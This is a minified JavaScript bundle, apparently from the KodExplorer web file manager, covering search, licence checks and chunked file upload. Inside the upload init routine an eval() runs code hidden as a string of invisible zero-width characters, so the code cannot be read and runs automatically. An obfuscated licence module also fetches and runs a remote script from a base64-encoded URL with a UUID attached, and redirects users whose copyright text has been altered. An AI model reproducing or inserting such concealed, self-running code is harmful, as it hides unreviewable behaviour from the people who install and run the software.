i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e +}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&t.html("<span>"+LNG.seach_result_too_more+"</span>")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};v();var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return 